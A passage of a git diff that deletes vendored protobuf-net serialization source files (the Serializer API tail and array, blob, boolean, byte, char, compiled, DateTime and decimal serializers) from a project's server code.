Merge(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance); - } - /// - /// Applies a protocol-buffer from a SerializationInfo to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The SerializationInfo containing the data to apply to the instance (cannot be null). - /// Additional information about this serialization operation. - public static void Merge(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - // note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization) - if (info == null) throw new ArgumentNullException("info"); - if (instance == null) throw new ArgumentNullException("instance"); - if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance"); - - byte[] buffer = (byte[])info.GetValue(ProtoBinaryField, typeof(byte[])); - using (MemoryStream ms = new MemoryStream(buffer)) - { - T result = (T)RuntimeTypeModel.Default.Deserialize(ms, instance, typeof(T), context); - if (!ReferenceEquals(result, instance)) - { - throw new ProtoException("Deserialization changed the instance; cannot succeed."); - } - } - } -#endif - -#if !NO_GENERICS - /// - /// Precompiles the serializer for a given type. - /// - public static void PrepareSerializer() - { -#if FEAT_COMPILER - RuntimeTypeModel model = RuntimeTypeModel.Default; - model[model.MapType(typeof(T))].CompileInPlace(); -#endif - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Creates a new IFormatter that uses protocol-buffer [de]serialization. - /// - /// The type of object to be [de]deserialized by the formatter. - /// A new IFormatter to be used during [de]serialization. - public static System.Runtime.Serialization.IFormatter CreateFormatter() - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return RuntimeTypeModel.Default.CreateFormatter(typeof(T)); -#endif - } -#endif - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - public static IEnumerable DeserializeItems(Stream source, PrefixStyle style, int fieldNumber) - { - return RuntimeTypeModel.Default.DeserializeItems(source, style, fieldNumber); - } - - /// - /// Creates a new instance from a protocol-buffer stream that has a length-prefix - /// on data (to assist with network IO). - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// How to encode the length prefix. - /// A new, initialized instance. - public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style) - { - return DeserializeWithLengthPrefix(source, style, 0); - } - - /// - /// Creates a new instance from a protocol-buffer stream that has a length-prefix - /// on data (to assist with network IO). - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// How to encode the length prefix. - /// The expected tag of the item (only used with base-128 prefix style). - /// A new, initialized instance. - public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style, int fieldNumber) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - return (T) model.DeserializeWithLengthPrefix(source, null, model.MapType(typeof (T)), style, fieldNumber); - } - - /// - /// Applies a protocol-buffer stream to an existing instance, using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static T MergeWithLengthPrefix(Stream source, T instance, PrefixStyle style) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - return (T) model.DeserializeWithLengthPrefix(source, instance, model.MapType(typeof (T)), style, 0); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style) - { - SerializeWithLengthPrefix(destination, instance, style, 0); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style, - int fieldNumber) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - model.SerializeWithLengthPrefix(destination, instance, model.MapType(typeof (T)), style, fieldNumber); - } -#endif - - /// Indicates the number of bytes expected for the next message. - /// The stream containing the data to investigate for a length. - /// The algorithm used to encode the length. - /// The length of the message, if it could be identified. - /// True if a length could be obtained, false otherwise. - public static bool TryReadLengthPrefix(Stream source, PrefixStyle style, out int length) - { - int fieldNumber, bytesRead; - length = ProtoReader.ReadLengthPrefix(source, false, style, out fieldNumber, out bytesRead); - return bytesRead > 0; - } - - /// Indicates the number of bytes expected for the next message. - /// The buffer containing the data to investigate for a length. - /// The offset of the first byte to read from the buffer. - /// The number of bytes to read from the buffer. - /// The algorithm used to encode the length. - /// The length of the message, if it could be identified. - /// True if a length could be obtained, false otherwise. - public static bool TryReadLengthPrefix(byte[] buffer, int index, int count, PrefixStyle style, out int length) - { - using (Stream source = new MemoryStream(buffer, index, count)) - { - return TryReadLengthPrefix(source, style, out length); - } - } -#endif - - /// - /// The field number that is used as a default when serializing/deserializing a list of objects. - /// The data is treated as repeated message with field number 1. - /// - public const int ListItemTag = 1; - - -#if !NO_RUNTIME - /// - /// Provides non-generic access to the default serializer. - /// - public -#if FX11 - sealed -#else - static -#endif - class NonGeneric - { -#if FX11 - private NonGeneric() { } // not a static class for C# 1.2 reasons -#endif - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public static object DeepClone(object instance) - { - return instance == null ? null : RuntimeTypeModel.Default.DeepClone(instance); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public static void Serialize(Stream dest, object instance) - { - if (instance != null) - { - RuntimeTypeModel.Default.Serialize(dest, instance); - } - } - - /// - /// Creates a new instance from a protocol-buffer stream - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// A new, initialized instance. - public static object Deserialize(System.Type type, Stream source) - { - return RuntimeTypeModel.Default.Deserialize(source, null, type); - } - - /// Applies a protocol-buffer stream to an existing instance. - /// The existing instance to be modified (cannot be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance - public static object Merge(Stream source, object instance) - { - if (instance == null) throw new ArgumentNullException("instance"); - return RuntimeTypeModel.Default.Deserialize(source, instance, instance.GetType(), null); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public static void SerializeWithLengthPrefix(Stream destination, object instance, PrefixStyle style, - int fieldNumber) - { - if (instance == null) throw new ArgumentNullException("instance"); - RuntimeTypeModel model = RuntimeTypeModel.Default; - model.SerializeWithLengthPrefix(destination, instance, model.MapType(instance.GetType()), style, - fieldNumber); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// Used to resolve types on a per-field basis. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static bool TryDeserializeWithLengthPrefix(Stream source, PrefixStyle style, TypeResolver resolver, - out object value) - { - value = RuntimeTypeModel.Default.DeserializeWithLengthPrefix(source, null, null, style, 0, resolver); - return value != null; - } - - /// - /// Indicates whether the supplied type is explicitly modelled by the model - /// - public static bool CanSerialize(Type type) - { - return RuntimeTypeModel.Default.IsDefined(type); - } - } - - - /// - /// Global switches that change the behavior of protobuf-net - /// - public -#if FX11 - sealed -#else - static -#endif - class GlobalOptions - { -#if FX11 - private GlobalOptions() { } // not a static class for C# 1.2 reasons -#endif - - /// - /// - /// - [Obsolete("Please use RuntimeTypeModel.Default.InferTagFromNameDefault instead (or on a per-model basis)", - false)] - public static bool InferTagFromName - { - get { return RuntimeTypeModel.Default.InferTagFromNameDefault; } - set { RuntimeTypeModel.Default.InferTagFromNameDefault = value; } - } - } -#endif - - /// - /// Maps a field-number to a type - /// - public delegate Type TypeResolver(int fieldNumber); - - /// - /// Releases any internal buffers that have been reserved for efficiency; this does not affect any serialization - /// operations; simply: it can be used (optionally) to release the buffers for garbage collection (at the expense - /// of having to re-allocate a new buffer for the next operation, rather than re-use prior buffers). - /// - public static void FlushPool() - { - BufferPool.Flush(); - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ArrayDecorator.cs b/Server/Core/ProtoBuf/Serializers/ArrayDecorator.cs deleted file mode 100644 index 05116514..00000000 --- a/Server/Core/ProtoBuf/Serializers/ArrayDecorator.cs +++ /dev/null @@ -1,300 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ArrayDecorator : ProtoDecoratorBase - { - private readonly int fieldNumber; - - private const byte - OPTIONS_WritePacked = 1, - OPTIONS_OverwriteList = 2, - OPTIONS_SupportNull = 4; - - private readonly byte options; - private readonly WireType packedWireType; - - public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, - WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull) - : base(tail) - { - Helpers.DebugAssert(arrayType != null, "arrayType should be non-null"); - Helpers.DebugAssert(arrayType.IsArray && arrayType.GetArrayRank() == 1, - "should be single-dimension array; " + arrayType.FullName); - this.itemType = arrayType.GetElementType(); -#if NO_GENERICS - Type underlyingItemType = itemType; -#else - Type underlyingItemType = supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType); -#endif - - Helpers.DebugAssert(underlyingItemType == Tail.ExpectedType, "invalid tail"); - Helpers.DebugAssert(Tail.ExpectedType != model.MapType(typeof (byte)), "Should have used BlobSerializer"); - if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) - throw new ArgumentOutOfRangeException("fieldNumber"); - if (!ListDecorator.CanPack(packedWireType)) - { - if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding"); - packedWireType = WireType.None; - } - this.fieldNumber = fieldNumber; - this.packedWireType = packedWireType; - if (writePacked) options |= OPTIONS_WritePacked; - if (overwriteList) options |= OPTIONS_OverwriteList; - if (supportNull) options |= OPTIONS_SupportNull; - this.arrayType = arrayType; - } - - private readonly Type arrayType, itemType; // this is, for example, typeof(int[]) - - public override Type ExpectedType - { - get { return arrayType; } - } - - public override bool RequiresOldValue - { - get { return AppendToCollection; } - } - - public override bool ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - // int i and T[] arr - using (Compiler.Local arr = ctx.GetLocalWithValue(arrayType, valueFrom)) - using (Compiler.Local i = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - bool writePacked = (options & OPTIONS_WritePacked) != 0; - using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null) - { - Type mappedWriter = ctx.MapType(typeof (ProtoWriter)); - if (writePacked) - { - ctx.LoadValue(fieldNumber); - ctx.LoadValue((int)WireType.String); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("WriteFieldHeader")); - - ctx.LoadValue(arr); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("StartSubItem")); - ctx.StoreValue(token); - - ctx.LoadValue(fieldNumber); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("SetPackedField")); - } - EmitWriteArrayLoop(ctx, i, arr); - - if (writePacked) - { - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("EndSubItem")); - } - } - } - } - - private void EmitWriteArrayLoop(Compiler.CompilerContext ctx, Compiler.Local i, Compiler.Local arr) - { - // i = 0 - ctx.LoadValue(0); - ctx.StoreValue(i); - - // range test is last (to minimise branches) - Compiler.CodeLabel loopTest = ctx.DefineLabel(), processItem = ctx.DefineLabel(); - ctx.Branch(loopTest, false); - ctx.MarkLabel(processItem); - - // {...} - ctx.LoadArrayValue(arr, i); - if (SupportNull) - { - Tail.EmitWrite(ctx, null); - } - else - { - ctx.WriteNullCheckedTail(itemType, Tail, null); - } - - // i++ - ctx.LoadValue(i); - ctx.LoadValue(1); - ctx.Add(); - ctx.StoreValue(i); - - // i < arr.Length - ctx.MarkLabel(loopTest); - ctx.LoadValue(i); - ctx.LoadLength(arr, false); - ctx.BranchIfLess(processItem, false); - } -#endif - - private bool AppendToCollection - { - get { return (options & OPTIONS_OverwriteList) == 0; } - } - - private bool SupportNull - { - get { return (options & OPTIONS_SupportNull) != 0; } - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - IList arr = (IList) value; - int len = arr.Count; - SubItemToken token; - bool writePacked = (options & OPTIONS_WritePacked) != 0; - if (writePacked) - { - ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); - token = ProtoWriter.StartSubItem(value, dest); - ProtoWriter.SetPackedField(fieldNumber, dest); - } - else - { - token = new SubItemToken(); // default - } - bool checkForNull = !SupportNull; - for (int i = 0; i < len; i++) - { - object obj = arr[i]; - if (checkForNull && obj == null) - { - throw new NullReferenceException(); - } - Tail.Write(obj, dest); - } - if (writePacked) - { - ProtoWriter.EndSubItem(token, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - int field = source.FieldNumber; - BasicList list = new BasicList(); - if (packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - while (ProtoReader.HasSubValue(packedWireType, source)) - { - list.Add(Tail.Read(null, source)); - } - ProtoReader.EndSubItem(token, source); - } - else - { - do - { - list.Add(Tail.Read(null, source)); - } while (source.TryReadFieldHeader(field)); - } - int oldLen = AppendToCollection ? ((value == null ? 0 : ((Array) value).Length)) : 0; - Array result = Array.CreateInstance(itemType, oldLen + list.Count); - if (oldLen != 0) ((Array) value).CopyTo(result, 0); - list.CopyTo(result, oldLen); - return result; - } -#endif - -#if FEAT_COMPILER - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - Type listType; -#if NO_GENERICS - listType = typeof(BasicList); -#else - listType = ctx.MapType(typeof(System.Collections.Generic.List<>)).MakeGenericType(itemType); -#endif - Type expected = ExpectedType; - using (Compiler.Local oldArr = AppendToCollection ? ctx.GetLocalWithValue(expected, valueFrom) : null) - using (Compiler.Local newArr = new Compiler.Local(ctx, expected)) - using (Compiler.Local list = new Compiler.Local(ctx, listType)) - { - ctx.EmitCtor(listType); - ctx.StoreValue(list); - ListDecorator.EmitReadList(ctx, list, Tail, listType.GetMethod("Add"), packedWireType, false); - - // leave this "using" here, as it can share the "FieldNumber" local with EmitReadList - using(Compiler.Local oldLen = AppendToCollection ? new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))) : null) { - Type[] copyToArrayInt32Args = new Type[] { ctx.MapType(typeof(Array)), ctx.MapType(typeof(int)) }; - - if (AppendToCollection) - { - ctx.LoadLength(oldArr, true); - ctx.CopyValue(); - ctx.StoreValue(oldLen); - - ctx.LoadAddress(list, listType); - ctx.LoadValue(listType.GetProperty("Count")); - ctx.Add(); - ctx.CreateArray(itemType, null); // length is on the stack - ctx.StoreValue(newArr); - - ctx.LoadValue(oldLen); - Compiler.CodeLabel nothingToCopy = ctx.DefineLabel(); - ctx.BranchIfFalse(nothingToCopy, true); - ctx.LoadValue(oldArr); - ctx.LoadValue(newArr); - ctx.LoadValue(0); // index in target - - ctx.EmitCall(expected.GetMethod("CopyTo", copyToArrayInt32Args)); - ctx.MarkLabel(nothingToCopy); - - ctx.LoadValue(list); - ctx.LoadValue(newArr); - ctx.LoadValue(oldLen); - - } - else - { - ctx.LoadAddress(list, listType); - ctx.LoadValue(listType.GetProperty("Count")); - ctx.CreateArray(itemType, null); - ctx.StoreValue(newArr); - - ctx.LoadAddress(list, listType); - ctx.LoadValue(newArr); - ctx.LoadValue(0); - } - - copyToArrayInt32Args[0] = expected; // // prefer: CopyTo(T[], int) - MethodInfo copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args); - if (copyTo == null) - { // fallback: CopyTo(Array, int) - copyToArrayInt32Args[1] = ctx.MapType(typeof(Array)); - copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args); - } - ctx.EmitCall(copyTo); - } - ctx.LoadValue(newArr); - } - - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/BlobSerializer.cs b/Server/Core/ProtoBuf/Serializers/BlobSerializer.cs deleted file mode 100644 index 484837c6..00000000 --- a/Server/Core/ProtoBuf/Serializers/BlobSerializer.cs +++ /dev/null @@ -1,80 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_COMPILER -using System.Reflection.Emit; -#endif - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class BlobSerializer : IProtoSerializer - { - public Type ExpectedType - { - get { return expectedType; } - } - -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (byte[]); -#endif - - public BlobSerializer(ProtoBuf.Meta.TypeModel model, bool overwriteList) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(byte[])); -#endif - this.overwriteList = overwriteList; - } - - private readonly bool overwriteList; -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - return ProtoReader.AppendBytes(overwriteList ? null : (byte[]) value, source); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteBytes((byte[]) value, dest); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return !overwriteList; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteBytes", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (overwriteList) - { - ctx.LoadNullRef(); - } - else - { - ctx.LoadValue(valueFrom); - } - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes")); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/BooleanSerializer.cs b/Server/Core/ProtoBuf/Serializers/BooleanSerializer.cs deleted file mode 100644 index 4922fd61..00000000 --- a/Server/Core/ProtoBuf/Serializers/BooleanSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class BooleanSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (bool); -#endif - - public BooleanSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(bool)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteBoolean((bool) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadBoolean(); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteBoolean", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadBoolean", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ByteSerializer.cs b/Server/Core/ProtoBuf/Serializers/ByteSerializer.cs deleted file mode 100644 index eeb555b7..00000000 --- a/Server/Core/ProtoBuf/Serializers/ByteSerializer.cs +++ /dev/null @@ -1,66 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ByteSerializer : IProtoSerializer - { - public Type ExpectedType - { - get { return expectedType; } - } - -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (byte); -#endif - - public ByteSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(byte)); -#endif - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteByte((byte) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadByte(); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteByte", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadByte", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/CharSerializer.cs b/Server/Core/ProtoBuf/Serializers/CharSerializer.cs deleted file mode 100644 index 6820957d..00000000 --- a/Server/Core/ProtoBuf/Serializers/CharSerializer.cs +++ /dev/null @@ -1,50 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class CharSerializer : UInt16Serializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (char); -#endif - - public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(char)); -#endif - } - - public override Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt16((ushort) (char) value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return (char) source.ReadUInt16(); - } -#endif - // no need for any special IL here; ushort and char are - // interchangeable as long as there is no boxing/unboxing - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/CompiledSerializer.cs b/Server/Core/ProtoBuf/Serializers/CompiledSerializer.cs deleted file mode 100644 index 4b7c0f09..00000000 --- a/Server/Core/ProtoBuf/Serializers/CompiledSerializer.cs +++ /dev/null @@ -1,79 +0,0 @@ - -#if FEAT_COMPILER && !(FX11 || FEAT_IKVM) -using System; -using ProtoBuf.Meta; - - - -namespace ProtoBuf.Serializers -{ - sealed class CompiledSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) - { - return head.HasCallbacks(callbackType); // these routes only used when bits of the model not compiled - } - bool IProtoTypeSerializer.CanCreateInstance() - { - return head.CanCreateInstance(); - } - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return head.CreateInstance(source); - } - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - head.Callback(value, callbackType, context); // these routes only used when bits of the model not compiled - } - public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model) - { - CompiledSerializer result = head as CompiledSerializer; - if (result == null) - { - result = new CompiledSerializer(head, model); - Helpers.DebugAssert(((IProtoTypeSerializer)result).ExpectedType == head.ExpectedType); - } - return result; - } - private readonly IProtoTypeSerializer head; - private readonly Compiler.ProtoSerializer serializer; - private readonly Compiler.ProtoDeserializer deserializer; - private CompiledSerializer(IProtoTypeSerializer head, TypeModel model) - { - this.head = head; - serializer = Compiler.CompilerContext.BuildSerializer(head, model); - deserializer = Compiler.CompilerContext.BuildDeserializer(head, model); - } - bool IProtoSerializer.RequiresOldValue { get { return head.RequiresOldValue; } } - bool IProtoSerializer.ReturnsValue { get { return head.ReturnsValue; } } - - Type IProtoSerializer.ExpectedType { get { return head.ExpectedType; } } - - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - serializer(value, dest); - } - object IProtoSerializer.Read(object value, ProtoReader source) - { - return deserializer(value, source); - } - - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - head.EmitWrite(ctx, valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - head.EmitRead(ctx, valueFrom); - } - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - head.EmitCallback(ctx, valueFrom, callbackType); - } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - head.EmitCreateInstance(ctx); - } - } -} -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/DateTimeSerializer.cs b/Server/Core/ProtoBuf/Serializers/DateTimeSerializer.cs deleted file mode 100644 index f0c259d1..00000000 --- a/Server/Core/ProtoBuf/Serializers/DateTimeSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DateTimeSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (DateTime); -#endif - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - - public DateTimeSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(DateTime)); -#endif - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadDateTime(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteDateTime((DateTime) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDateTime", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDateTime", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/DecimalSerializer.cs b/Server/Core/ProtoBuf/Serializers/DecimalSerializer.cs deleted file mode 100644 index b9d30761..00000000 --- a/Server/Core/ProtoBuf/Serializers/DecimalSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DecimalSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (decimal); -#endif - - public DecimalSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(decimal)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadDecimal(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteDecimal((decimal) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs b/Server/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs deleted file mode 100644 index 24302c57..00000000 --- 